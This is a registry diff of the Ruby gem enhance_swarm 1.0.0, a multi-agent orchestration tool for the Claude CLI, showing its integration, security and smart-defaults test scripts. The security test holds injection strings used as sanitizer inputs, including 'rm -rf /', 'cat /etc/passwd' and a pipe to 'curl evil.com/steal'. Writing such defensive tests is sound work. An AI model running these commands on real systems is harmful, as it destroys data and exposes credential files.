enhance_swarm 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.enhance_swarm/agent_scripts/frontend_agent.md +39 -0
- data/.enhance_swarm/user_patterns.json +37 -0
- data/CHANGELOG.md +184 -0
- data/LICENSE +21 -0
- data/PRODUCTION_TEST_LOG.md +502 -0
- data/README.md +905 -0
- data/Rakefile +28 -0
- data/USAGE_EXAMPLES.md +477 -0
- data/examples/enhance_workflow.md +346 -0
- data/examples/rails_project.md +253 -0
- data/exe/enhance-swarm +30 -0
- data/lib/enhance_swarm/additional_commands.rb +299 -0
- data/lib/enhance_swarm/agent_communicator.rb +460 -0
- data/lib/enhance_swarm/agent_reviewer.rb +283 -0
- data/lib/enhance_swarm/agent_spawner.rb +462 -0
- data/lib/enhance_swarm/cleanup_manager.rb +245 -0
- data/lib/enhance_swarm/cli.rb +1592 -0
- data/lib/enhance_swarm/command_executor.rb +78 -0
- data/lib/enhance_swarm/configuration.rb +324 -0
- data/lib/enhance_swarm/control_agent.rb +307 -0
- data/lib/enhance_swarm/dependency_validator.rb +195 -0
- data/lib/enhance_swarm/error_recovery.rb +785 -0
- data/lib/enhance_swarm/generator.rb +194 -0
- data/lib/enhance_swarm/interrupt_handler.rb +512 -0
- data/lib/enhance_swarm/logger.rb +106 -0
- data/lib/enhance_swarm/mcp_integration.rb +85 -0
- data/lib/enhance_swarm/monitor.rb +28 -0
- data/lib/enhance_swarm/notification_manager.rb +444 -0
- data/lib/enhance_swarm/orchestrator.rb +313 -0
- data/lib/enhance_swarm/output_streamer.rb +281 -0
- data/lib/enhance_swarm/process_monitor.rb +266 -0
- data/lib/enhance_swarm/progress_tracker.rb +215 -0
- data/lib/enhance_swarm/project_analyzer.rb +612 -0
- data/lib/enhance_swarm/resource_manager.rb +177 -0
- data/lib/enhance_swarm/retry_handler.rb +40 -0
- data/lib/enhance_swarm/session_manager.rb +247 -0
- data/lib/enhance_swarm/signal_handler.rb +95 -0
- data/lib/enhance_swarm/smart_defaults.rb +708 -0
- data/lib/enhance_swarm/task_integration.rb +150 -0
- data/lib/enhance_swarm/task_manager.rb +174 -0
- data/lib/enhance_swarm/version.rb +5 -0
- data/lib/enhance_swarm/visual_dashboard.rb +555 -0
- data/lib/enhance_swarm/web_ui.rb +211 -0
- data/lib/enhance_swarm.rb +69 -0
- data/setup.sh +86 -0
- data/sig/enhance_swarm.rbs +4 -0
- data/templates/claude/CLAUDE.md +160 -0
- data/templates/claude/MCP.md +117 -0
- data/templates/claude/PERSONAS.md +114 -0
- data/templates/claude/RULES.md +221 -0
- data/test_builtin_functionality.rb +121 -0
- data/test_core_components.rb +156 -0
- data/test_real_claude_integration.rb +285 -0
- data/test_security.rb +150 -0
- data/test_smart_defaults.rb +155 -0
- data/test_task_integration.rb +173 -0
- data/test_web_ui.rb +245 -0
- data/web/assets/css/main.css +645 -0
- data/web/assets/js/kanban.js +499 -0
- data/web/assets/js/main.js +525 -0
- data/web/templates/dashboard.html.erb +226 -0
- data/web/templates/kanban.html.erb +193 -0
- metadata +293 -0
@@ -0,0 +1,285 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# frozen_string_literal: true
|
3
|
+
|
4
|
+
# Test real Claude CLI integration
|
5
|
+
|
6
|
+
$LOAD_PATH.unshift File.expand_path('lib', __dir__)
|
7
|
+
require 'enhance_swarm'
|
8
|
+
|
9
|
+
def test_claude_cli_integration
|
10
|
+
puts "๐ค Testing Real Claude CLI Integration"
|
11
|
+
puts "=" * 60
|
12
|
+
|
13
|
+
test_results = []
|
14
|
+
|
15
|
+
# Test 1: Claude CLI Availability
|
16
|
+
begin
|
17
|
+
puts "\n1๏ธโฃ Testing Claude CLI Availability..."
|
18
|
+
|
19
|
+
spawner = EnhanceSwarm::AgentSpawner.new
|
20
|
+
available = spawner.claude_cli_available?
|
21
|
+
|
22
|
+
puts " ๐ Claude CLI Available: #{available}"
|
23
|
+
|
24
|
+
if available
|
25
|
+
# Test version
|
26
|
+
version = `claude --version 2>/dev/null`.strip
|
27
|
+
puts " ๐ Claude Version: #{version}"
|
28
|
+
|
29
|
+
# Test basic functionality
|
30
|
+
test_response = `echo "Say hello in one word" | claude --print 2>/dev/null`.strip
|
31
|
+
puts " ๐ Basic Test Response: #{test_response.length > 0 ? 'Success' : 'Failed'}"
|
32
|
+
|
33
|
+
test_results << { test: "Claude CLI Availability", status: "โ
PASS" }
|
34
|
+
else
|
35
|
+
puts " โ Claude CLI not available"
|
36
|
+
test_results << { test: "Claude CLI Availability", status: "โ FAIL" }
|
37
|
+
end
|
38
|
+
rescue => e
|
39
|
+
puts " โ Error testing Claude CLI: #{e.message}"
|
40
|
+
test_results << { test: "Claude CLI Availability", status: "โ FAIL", error: e.message }
|
41
|
+
end
|
42
|
+
|
43
|
+
# Test 2: Agent Prompt Building
|
44
|
+
begin
|
45
|
+
puts "\n2๏ธโฃ Testing Agent Prompt Building..."
|
46
|
+
|
47
|
+
spawner = EnhanceSwarm::AgentSpawner.new
|
48
|
+
config = EnhanceSwarm::Configuration.new
|
49
|
+
|
50
|
+
# Test enhanced prompt building
|
51
|
+
base_task = "Create a simple Ruby class for a blog post"
|
52
|
+
role = "backend"
|
53
|
+
worktree_path = "/tmp/test_worktree"
|
54
|
+
|
55
|
+
enhanced_prompt = spawner.send(:build_enhanced_agent_prompt, base_task, role, worktree_path)
|
56
|
+
|
57
|
+
puts " ๐ Enhanced Prompt Length: #{enhanced_prompt.length} characters"
|
58
|
+
puts " ๐ Contains Role Info: #{enhanced_prompt.include?('BACKEND')}"
|
59
|
+
puts " ๐ Contains Task: #{enhanced_prompt.include?(base_task)}"
|
60
|
+
puts " ๐ Contains Project Info: #{enhanced_prompt.include?(config.project_name)}"
|
61
|
+
|
62
|
+
if enhanced_prompt.length > 500 && enhanced_prompt.include?(base_task)
|
63
|
+
test_results << { test: "Agent Prompt Building", status: "โ
PASS" }
|
64
|
+
else
|
65
|
+
test_results << { test: "Agent Prompt Building", status: "โ FAIL" }
|
66
|
+
end
|
67
|
+
rescue => e
|
68
|
+
puts " โ Error testing prompt building: #{e.message}"
|
69
|
+
test_results << { test: "Agent Prompt Building", status: "โ FAIL", error: e.message }
|
70
|
+
end
|
71
|
+
|
72
|
+
# Test 3: Agent Script Creation
|
73
|
+
begin
|
74
|
+
puts "\n3๏ธโฃ Testing Agent Script Creation..."
|
75
|
+
|
76
|
+
spawner = EnhanceSwarm::AgentSpawner.new
|
77
|
+
prompt = "Test prompt for agent script creation"
|
78
|
+
role = "frontend"
|
79
|
+
working_dir = Dir.pwd
|
80
|
+
|
81
|
+
# Create script and test immediately since Tempfile auto-deletes
|
82
|
+
script_tempfile = nil
|
83
|
+
script_content = ""
|
84
|
+
script_exists = false
|
85
|
+
script_executable = false
|
86
|
+
|
87
|
+
begin
|
88
|
+
# Call the method and capture the tempfile path
|
89
|
+
script_path = spawner.send(:create_agent_script, prompt, role, working_dir)
|
90
|
+
|
91
|
+
if script_path && File.exist?(script_path)
|
92
|
+
script_exists = true
|
93
|
+
script_executable = File.executable?(script_path)
|
94
|
+
script_content = File.read(script_path)
|
95
|
+
|
96
|
+
puts " ๐ Script Created: #{script_exists}"
|
97
|
+
puts " ๐ Script Executable: #{script_executable}"
|
98
|
+
puts " ๐ Script Length: #{script_content.length} characters"
|
99
|
+
puts " ๐ Contains Role: #{script_content.include?(role)}"
|
100
|
+
puts " ๐ Contains Claude Command: #{script_content.include?('claude')}"
|
101
|
+
|
102
|
+
test_results << { test: "Agent Script Creation", status: "โ
PASS" }
|
103
|
+
else
|
104
|
+
puts " ๐ Script Created: false"
|
105
|
+
test_results << { test: "Agent Script Creation", status: "โ FAIL" }
|
106
|
+
end
|
107
|
+
rescue => script_error
|
108
|
+
puts " ๐ Script Creation Error: #{script_error.message}"
|
109
|
+
test_results << { test: "Agent Script Creation", status: "โ FAIL" }
|
110
|
+
end
|
111
|
+
rescue => e
|
112
|
+
puts " โ Error testing script creation: #{e.message}"
|
113
|
+
test_results << { test: "Agent Script Creation", status: "โ FAIL", error: e.message }
|
114
|
+
end
|
115
|
+
|
116
|
+
# Test 4: Real Agent Spawning (if Claude CLI available)
|
117
|
+
if spawner.claude_cli_available?
|
118
|
+
begin
|
119
|
+
puts "\n4๏ธโฃ Testing Real Agent Spawning..."
|
120
|
+
|
121
|
+
# Create a simple test task
|
122
|
+
test_task = "Create a simple 'Hello World' Ruby file and output it"
|
123
|
+
role = "backend"
|
124
|
+
|
125
|
+
# Spawn a real agent
|
126
|
+
pid = spawner.spawn_agent(role: role, task: test_task, worktree: false)
|
127
|
+
|
128
|
+
if pid
|
129
|
+
puts " ๐ Agent Spawned: PID #{pid}"
|
130
|
+
puts " ๐ Process Running: #{Process.getpgid(pid) ? true : false}"
|
131
|
+
|
132
|
+
# Give the agent a moment to start
|
133
|
+
sleep(2)
|
134
|
+
|
135
|
+
# Check if logs are being created
|
136
|
+
log_file = File.join('.enhance_swarm', 'logs', "#{role}_output.log")
|
137
|
+
puts " ๐ Log File Created: #{File.exist?(log_file)}"
|
138
|
+
|
139
|
+
if File.exist?(log_file)
|
140
|
+
# Wait a bit more and check log content
|
141
|
+
sleep(5)
|
142
|
+
log_content = File.read(log_file) rescue ""
|
143
|
+
puts " ๐ Log Content Length: #{log_content.length} characters"
|
144
|
+
puts " ๐ Agent Active: #{log_content.length > 0}"
|
145
|
+
end
|
146
|
+
|
147
|
+
# Try to stop the agent gracefully
|
148
|
+
begin
|
149
|
+
Process.kill('TERM', pid)
|
150
|
+
puts " ๐ Agent Termination: Sent"
|
151
|
+
rescue => e
|
152
|
+
puts " ๐ Agent Termination: #{e.message}"
|
153
|
+
end
|
154
|
+
|
155
|
+
test_results << { test: "Real Agent Spawning", status: "โ
PASS" }
|
156
|
+
else
|
157
|
+
puts " โ Failed to spawn agent"
|
158
|
+
test_results << { test: "Real Agent Spawning", status: "โ FAIL" }
|
159
|
+
end
|
160
|
+
rescue => e
|
161
|
+
puts " โ Error testing real spawning: #{e.message}"
|
162
|
+
test_results << { test: "Real Agent Spawning", status: "โ FAIL", error: e.message }
|
163
|
+
end
|
164
|
+
else
|
165
|
+
puts "\n4๏ธโฃ Skipping Real Agent Spawning (Claude CLI not available)"
|
166
|
+
test_results << { test: "Real Agent Spawning", status: "โญ๏ธ SKIP" }
|
167
|
+
end
|
168
|
+
|
169
|
+
# Test 5: Session Integration
|
170
|
+
begin
|
171
|
+
puts "\n5๏ธโฃ Testing Session Integration..."
|
172
|
+
|
173
|
+
session_manager = EnhanceSwarm::SessionManager.new
|
174
|
+
orchestrator = EnhanceSwarm::Orchestrator.new
|
175
|
+
|
176
|
+
# Create a session
|
177
|
+
session = session_manager.create_session("Claude CLI integration test")
|
178
|
+
puts " ๐ Session Created: #{session[:session_id]}"
|
179
|
+
|
180
|
+
# Test spawning through orchestrator
|
181
|
+
spawn_result = orchestrator.spawn_single(
|
182
|
+
task: "Simple test task for integration",
|
183
|
+
role: "general",
|
184
|
+
worktree: false
|
185
|
+
)
|
186
|
+
|
187
|
+
if spawn_result
|
188
|
+
puts " ๐ Orchestrator Spawn: Success (PID: #{spawn_result})"
|
189
|
+
|
190
|
+
# Check session status
|
191
|
+
status = session_manager.session_status
|
192
|
+
puts " ๐ Session Agents: #{status[:total_agents]}"
|
193
|
+
|
194
|
+
# Cleanup
|
195
|
+
session_manager.cleanup_session
|
196
|
+
|
197
|
+
test_results << { test: "Session Integration", status: "โ
PASS" }
|
198
|
+
else
|
199
|
+
puts " โ Orchestrator spawn failed"
|
200
|
+
test_results << { test: "Session Integration", status: "โ FAIL" }
|
201
|
+
end
|
202
|
+
rescue => e
|
203
|
+
puts " โ Error testing session integration: #{e.message}"
|
204
|
+
test_results << { test: "Session Integration", status: "โ FAIL", error: e.message }
|
205
|
+
end
|
206
|
+
|
207
|
+
# Results Summary
|
208
|
+
puts "\n" + "=" * 60
|
209
|
+
puts "๐ CLAUDE CLI INTEGRATION TEST RESULTS"
|
210
|
+
puts "=" * 60
|
211
|
+
|
212
|
+
passed = test_results.count { |r| r[:status].include?("โ
") }
|
213
|
+
total = test_results.count { |r| !r[:status].include?("โญ๏ธ") }
|
214
|
+
|
215
|
+
test_results.each do |result|
|
216
|
+
puts " #{result[:status]} #{result[:test]}"
|
217
|
+
if result[:error]
|
218
|
+
puts " Error: #{result[:error]}"
|
219
|
+
end
|
220
|
+
end
|
221
|
+
|
222
|
+
puts "\n๐ Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
|
223
|
+
|
224
|
+
if passed == total && total > 0
|
225
|
+
puts "\n๐ CLAUDE CLI INTEGRATION COMPLETE!"
|
226
|
+
puts " โ
Real Claude agents can be spawned and managed"
|
227
|
+
puts " โ
Enhanced prompts with role specialization working"
|
228
|
+
puts " โ
Agent scripts generated correctly"
|
229
|
+
puts " โ
Session management integrated"
|
230
|
+
puts " โ
Ready for production multi-agent workflows"
|
231
|
+
else
|
232
|
+
puts "\nโ ๏ธ Some integration tests failed"
|
233
|
+
puts " ๐ง Address issues above for full Claude CLI integration"
|
234
|
+
end
|
235
|
+
|
236
|
+
passed == total && total > 0
|
237
|
+
end
|
238
|
+
|
239
|
+
def demonstrate_production_usage
|
240
|
+
puts "\n๐ Production Claude CLI Usage Examples"
|
241
|
+
puts "=" * 60
|
242
|
+
|
243
|
+
puts "\n๐ป Enhanced Agent Spawning:"
|
244
|
+
puts " enhance-swarm enhance # Start full orchestration"
|
245
|
+
puts " enhance-swarm spawn 'Create API model' # Spawn single agent"
|
246
|
+
puts " enhance-swarm status # Check agent status"
|
247
|
+
puts " enhance-swarm ui # Web interface"
|
248
|
+
|
249
|
+
puts "\n๐ค Agent Role Specializations:"
|
250
|
+
puts " Backend Agent: Models, APIs, database logic, business rules"
|
251
|
+
puts " Frontend Agent: UI components, styling, client-side logic"
|
252
|
+
puts " QA Agent: Tests, validation, edge cases, quality checks"
|
253
|
+
puts " UX Agent: User flows, accessibility, design improvements"
|
254
|
+
|
255
|
+
puts "\nโก Claude CLI Integration Features:"
|
256
|
+
puts " โข Real Claude agents with specialized prompts"
|
257
|
+
puts " โข Automatic role-based task assignment"
|
258
|
+
puts " โข Project-aware context and standards"
|
259
|
+
puts " โข Independent agent execution with monitoring"
|
260
|
+
puts " โข Graceful fallback to simulation mode"
|
261
|
+
puts " โข Comprehensive logging and error handling"
|
262
|
+
|
263
|
+
puts "\n๐ง Integration Benefits:"
|
264
|
+
puts " โข Authentic multi-agent development workflows"
|
265
|
+
puts " โข Specialized agents for different development phases"
|
266
|
+
puts " โข Real-time progress monitoring and coordination"
|
267
|
+
puts " โข Production-ready code generation and testing"
|
268
|
+
puts " โข Seamless integration with existing development tools"
|
269
|
+
end
|
270
|
+
|
271
|
+
# Run the test
|
272
|
+
if __FILE__ == $0
|
273
|
+
success = test_claude_cli_integration
|
274
|
+
demonstrate_production_usage
|
275
|
+
|
276
|
+
puts "\n๐ฏ FINAL ASSESSMENT:"
|
277
|
+
if success
|
278
|
+
puts " ๐ Claude CLI integration is PRODUCTION-READY!"
|
279
|
+
puts " ๐ Real multi-agent workflows confirmed working"
|
280
|
+
puts " ๐ ๏ธ Enhanced EnhanceSwarm ready for v1.0 release"
|
281
|
+
else
|
282
|
+
puts " ๐ง Claude CLI integration needs refinement"
|
283
|
+
puts " ๐ก Some features may fall back to simulation mode"
|
284
|
+
end
|
285
|
+
end
|
data/test_security.rb
ADDED
@@ -0,0 +1,150 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# Security test for agent spawning
|
3
|
+
|
4
|
+
$LOAD_PATH.unshift File.expand_path('lib', __dir__)
|
5
|
+
require 'enhance_swarm'
|
6
|
+
|
7
|
+
def test_security_vulnerabilities
|
8
|
+
puts "๐ Security Vulnerability Tests"
|
9
|
+
puts "=" * 40
|
10
|
+
|
11
|
+
results = []
|
12
|
+
|
13
|
+
# Test 1: Command injection in task description
|
14
|
+
puts "\n1๏ธโฃ Testing Command Injection in Task Description..."
|
15
|
+
|
16
|
+
malicious_tasks = [
|
17
|
+
'test"; rm -rf /; echo "pwned',
|
18
|
+
'test`rm -rf /`test',
|
19
|
+
'test$(rm -rf /)test',
|
20
|
+
'test; cat /etc/passwd',
|
21
|
+
'test && echo "hack" > /tmp/hacked',
|
22
|
+
'test | curl evil.com/steal'
|
23
|
+
]
|
24
|
+
|
25
|
+
spawner = EnhanceSwarm::AgentSpawner.new
|
26
|
+
|
27
|
+
malicious_tasks.each_with_index do |task, i|
|
28
|
+
puts " Testing: #{task[0..30]}..."
|
29
|
+
|
30
|
+
begin
|
31
|
+
# Test sanitization
|
32
|
+
safe_task = spawner.send(:sanitize_task_description, task)
|
33
|
+
|
34
|
+
# Check if dangerous characters were removed
|
35
|
+
dangerous_chars = ['`', '$', ';', '&', '|']
|
36
|
+
has_dangerous = dangerous_chars.any? { |char| safe_task.include?(char) }
|
37
|
+
|
38
|
+
if has_dangerous
|
39
|
+
puts " โ FAIL: Dangerous characters not removed from: #{safe_task}"
|
40
|
+
results << { test: "Command injection #{i+1}", status: "โ FAIL" }
|
41
|
+
else
|
42
|
+
puts " โ
PASS: Task sanitized to: #{safe_task}"
|
43
|
+
results << { test: "Command injection #{i+1}", status: "โ
PASS" }
|
44
|
+
end
|
45
|
+
|
46
|
+
rescue => e
|
47
|
+
puts " โ ERROR: #{e.message}"
|
48
|
+
results << { test: "Command injection #{i+1}", status: "โ ERROR" }
|
49
|
+
end
|
50
|
+
end
|
51
|
+
|
52
|
+
# Test 2: Role validation
|
53
|
+
puts "\n2๏ธโฃ Testing Role Validation..."
|
54
|
+
|
55
|
+
malicious_roles = [
|
56
|
+
'../../../etc/passwd',
|
57
|
+
'admin; rm -rf /',
|
58
|
+
'`cat /etc/passwd`',
|
59
|
+
'unknown_role',
|
60
|
+
nil,
|
61
|
+
''
|
62
|
+
]
|
63
|
+
|
64
|
+
malicious_roles.each_with_index do |role, i|
|
65
|
+
puts " Testing role: #{role.inspect}"
|
66
|
+
|
67
|
+
begin
|
68
|
+
safe_role = spawner.send(:sanitize_role, role)
|
69
|
+
|
70
|
+
# Should only allow known safe roles
|
71
|
+
safe_roles = %w[ux backend frontend qa general]
|
72
|
+
|
73
|
+
if safe_roles.include?(safe_role)
|
74
|
+
puts " โ
PASS: Role sanitized to: #{safe_role}"
|
75
|
+
results << { test: "Role validation #{i+1}", status: "โ
PASS" }
|
76
|
+
else
|
77
|
+
puts " โ FAIL: Unsafe role allowed: #{safe_role}"
|
78
|
+
results << { test: "Role validation #{i+1}", status: "โ FAIL" }
|
79
|
+
end
|
80
|
+
|
81
|
+
rescue => e
|
82
|
+
puts " โ ERROR: #{e.message}"
|
83
|
+
results << { test: "Role validation #{i+1}", status: "โ ERROR" }
|
84
|
+
end
|
85
|
+
end
|
86
|
+
|
87
|
+
# Test 3: Script generation safety
|
88
|
+
puts "\n3๏ธโฃ Testing Script Generation Safety..."
|
89
|
+
|
90
|
+
begin
|
91
|
+
# Test with potentially dangerous prompt
|
92
|
+
dangerous_prompt = 'test"; echo "hacked" > /tmp/pwned; echo "'
|
93
|
+
script_path = spawner.send(:create_agent_script, dangerous_prompt, 'backend', '/tmp')
|
94
|
+
|
95
|
+
if File.exist?(script_path)
|
96
|
+
script_content = File.read(script_path)
|
97
|
+
|
98
|
+
# Check if the dangerous content is properly quoted in heredoc
|
99
|
+
if script_content.include?("'EOF'") && script_content.include?('cat > "$PROMPT_FILE" << \'EOF\'')
|
100
|
+
puts " โ
PASS: Script uses safe heredoc with single quotes"
|
101
|
+
results << { test: "Script generation safety", status: "โ
PASS" }
|
102
|
+
else
|
103
|
+
puts " โ FAIL: Script may be vulnerable to injection"
|
104
|
+
puts " Script preview: #{script_content[0..200]}..."
|
105
|
+
results << { test: "Script generation safety", status: "โ FAIL" }
|
106
|
+
end
|
107
|
+
|
108
|
+
# Cleanup
|
109
|
+
File.delete(script_path) if File.exist?(script_path)
|
110
|
+
else
|
111
|
+
puts " โ ERROR: Failed to create script"
|
112
|
+
results << { test: "Script generation safety", status: "โ ERROR" }
|
113
|
+
end
|
114
|
+
|
115
|
+
rescue => e
|
116
|
+
puts " โ ERROR: #{e.message}"
|
117
|
+
results << { test: "Script generation safety", status: "โ ERROR" }
|
118
|
+
end
|
119
|
+
|
120
|
+
# Results summary
|
121
|
+
puts "\n" + "=" * 40
|
122
|
+
puts "๐ SECURITY TEST RESULTS"
|
123
|
+
puts "=" * 40
|
124
|
+
|
125
|
+
passed = results.count { |r| r[:status].include?("โ
") }
|
126
|
+
total = results.length
|
127
|
+
|
128
|
+
results.each do |result|
|
129
|
+
puts " #{result[:status]} #{result[:test]}"
|
130
|
+
end
|
131
|
+
|
132
|
+
puts "\n๐ Security Test Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
|
133
|
+
|
134
|
+
if passed == total && total > 0
|
135
|
+
puts "\n๐ก๏ธ ALL SECURITY TESTS PASSED!"
|
136
|
+
puts " โ
Command injection protection working"
|
137
|
+
puts " โ
Role validation working"
|
138
|
+
puts " โ
Script generation is safe"
|
139
|
+
else
|
140
|
+
puts "\nโ ๏ธ SECURITY ISSUES DETECTED!"
|
141
|
+
puts " Review failed tests and address vulnerabilities"
|
142
|
+
end
|
143
|
+
|
144
|
+
passed == total && total > 0
|
145
|
+
end
|
146
|
+
|
147
|
+
if __FILE__ == $0
|
148
|
+
success = test_security_vulnerabilities
|
149
|
+
exit(success ? 0 : 1)
|
150
|
+
end
|
@@ -0,0 +1,155 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# frozen_string_literal: true
|
3
|
+
|
4
|
+
# Test script for smart defaults functionality
|
5
|
+
|
6
|
+
require_relative 'lib/enhance_swarm'
|
7
|
+
|
8
|
+
def test_smart_defaults
|
9
|
+
puts "๐งช Testing Smart Defaults Functionality"
|
10
|
+
puts "=" * 50
|
11
|
+
|
12
|
+
# Test in current directory (enhance_swarm gem project)
|
13
|
+
puts "\n๐ Testing in current directory (enhance_swarm gem):"
|
14
|
+
|
15
|
+
begin
|
16
|
+
# Remove config file temporarily if it exists
|
17
|
+
config_path = File.join(Dir.pwd, '.enhance_swarm.yml')
|
18
|
+
backup_path = "#{config_path}.backup"
|
19
|
+
|
20
|
+
if File.exist?(config_path)
|
21
|
+
FileUtils.mv(config_path, backup_path)
|
22
|
+
puts " Backed up existing config file"
|
23
|
+
end
|
24
|
+
|
25
|
+
# Create configuration with smart defaults
|
26
|
+
config = EnhanceSwarm::Configuration.new
|
27
|
+
|
28
|
+
puts " โ
Configuration created successfully"
|
29
|
+
puts " ๐ Smart defaults applied:"
|
30
|
+
puts " Project Name: #{config.project_name}"
|
31
|
+
puts " Description: #{config.project_description}"
|
32
|
+
puts " Technology Stack: #{config.technology_stack}"
|
33
|
+
puts " Test Command: #{config.test_command}"
|
34
|
+
puts " Max Agents: #{config.max_concurrent_agents}"
|
35
|
+
puts " Code Standards: #{config.code_standards.first(2).join(', ')}..."
|
36
|
+
puts " Important Notes: #{config.important_notes.length} detected"
|
37
|
+
|
38
|
+
if config.important_notes.any?
|
39
|
+
puts " First Note: #{config.important_notes.first}"
|
40
|
+
end
|
41
|
+
|
42
|
+
# Test project analyzer directly
|
43
|
+
puts "\n๐ Testing ProjectAnalyzer directly:"
|
44
|
+
analyzer = EnhanceSwarm::ProjectAnalyzer.new
|
45
|
+
results = analyzer.analyze
|
46
|
+
|
47
|
+
puts " Project Type: #{results[:project_type]}"
|
48
|
+
puts " Technology Stack: #{results[:technology_stack].join(', ')}"
|
49
|
+
puts " Testing Frameworks: #{results[:testing_framework].join(', ')}"
|
50
|
+
puts " Build Systems: #{results[:build_system].join(', ')}"
|
51
|
+
puts " Has Documentation: #{results[:documentation][:has_docs]}"
|
52
|
+
puts " Documentation Path: #{results[:documentation][:primary_path]}"
|
53
|
+
puts " Recommended Agents: #{results[:recommended_agents].join(', ')}"
|
54
|
+
|
55
|
+
# Test smart commands
|
56
|
+
smart_commands = results[:smart_commands]
|
57
|
+
puts " Smart Commands:"
|
58
|
+
smart_commands.each do |type, command|
|
59
|
+
puts " #{type.to_s.capitalize}: #{command}" if command
|
60
|
+
end
|
61
|
+
|
62
|
+
# Restore config file if it existed
|
63
|
+
if File.exist?(backup_path)
|
64
|
+
FileUtils.mv(backup_path, config_path)
|
65
|
+
puts " Restored original config file"
|
66
|
+
end
|
67
|
+
|
68
|
+
puts "\nโ
Smart defaults test completed successfully!"
|
69
|
+
|
70
|
+
rescue StandardError => e
|
71
|
+
puts "\nโ Error testing smart defaults: #{e.message}"
|
72
|
+
puts e.backtrace.first(5).join("\n")
|
73
|
+
|
74
|
+
# Restore config file on error
|
75
|
+
if File.exist?(backup_path)
|
76
|
+
FileUtils.mv(backup_path, config_path)
|
77
|
+
puts " Restored original config file after error"
|
78
|
+
end
|
79
|
+
|
80
|
+
return false
|
81
|
+
end
|
82
|
+
|
83
|
+
true
|
84
|
+
end
|
85
|
+
|
86
|
+
def test_different_project_types
|
87
|
+
puts "\n๐ฏ Testing Different Project Type Detection:"
|
88
|
+
puts "=" * 50
|
89
|
+
|
90
|
+
# Test various project signatures
|
91
|
+
test_cases = [
|
92
|
+
{
|
93
|
+
name: "Rails Project",
|
94
|
+
files: ['Gemfile', 'config/application.rb'],
|
95
|
+
expected_type: 'rails'
|
96
|
+
},
|
97
|
+
{
|
98
|
+
name: "React Project",
|
99
|
+
files: ['package.json'],
|
100
|
+
package_content: { "dependencies" => { "react" => "^18.0.0" } },
|
101
|
+
expected_type: 'react'
|
102
|
+
},
|
103
|
+
{
|
104
|
+
name: "Django Project",
|
105
|
+
files: ['manage.py', 'myapp/settings.py'],
|
106
|
+
expected_type: 'django'
|
107
|
+
}
|
108
|
+
]
|
109
|
+
|
110
|
+
test_cases.each do |test_case|
|
111
|
+
puts "\n๐ Testing #{test_case[:name]}:"
|
112
|
+
|
113
|
+
# Create temporary test directory
|
114
|
+
test_dir = "/tmp/enhance_swarm_test_#{rand(1000)}"
|
115
|
+
Dir.mkdir(test_dir)
|
116
|
+
|
117
|
+
begin
|
118
|
+
# Create test files
|
119
|
+
test_case[:files].each do |file|
|
120
|
+
file_path = File.join(test_dir, file)
|
121
|
+
FileUtils.mkdir_p(File.dirname(file_path))
|
122
|
+
|
123
|
+
if file == 'package.json' && test_case[:package_content]
|
124
|
+
File.write(file_path, JSON.pretty_generate(test_case[:package_content]))
|
125
|
+
else
|
126
|
+
File.write(file_path, "# Test file for #{test_case[:name]}")
|
127
|
+
end
|
128
|
+
end
|
129
|
+
|
130
|
+
# Test analyzer
|
131
|
+
analyzer = EnhanceSwarm::ProjectAnalyzer.new(test_dir)
|
132
|
+
results = analyzer.analyze
|
133
|
+
|
134
|
+
detected_type = results[:project_type]
|
135
|
+
puts " Expected: #{test_case[:expected_type]}"
|
136
|
+
puts " Detected: #{detected_type}"
|
137
|
+
puts " #{detected_type == test_case[:expected_type] ? 'โ
' : 'โ'} Match"
|
138
|
+
|
139
|
+
ensure
|
140
|
+
# Cleanup
|
141
|
+
FileUtils.rm_rf(test_dir) if Dir.exist?(test_dir)
|
142
|
+
end
|
143
|
+
end
|
144
|
+
end
|
145
|
+
|
146
|
+
# Run tests
|
147
|
+
puts "๐ Starting Smart Defaults Tests"
|
148
|
+
puts
|
149
|
+
|
150
|
+
if test_smart_defaults
|
151
|
+
test_different_project_types
|
152
|
+
puts "\n๐ All smart defaults tests completed!"
|
153
|
+
else
|
154
|
+
puts "\n๐ฅ Smart defaults tests failed!"
|
155
|
+
end
|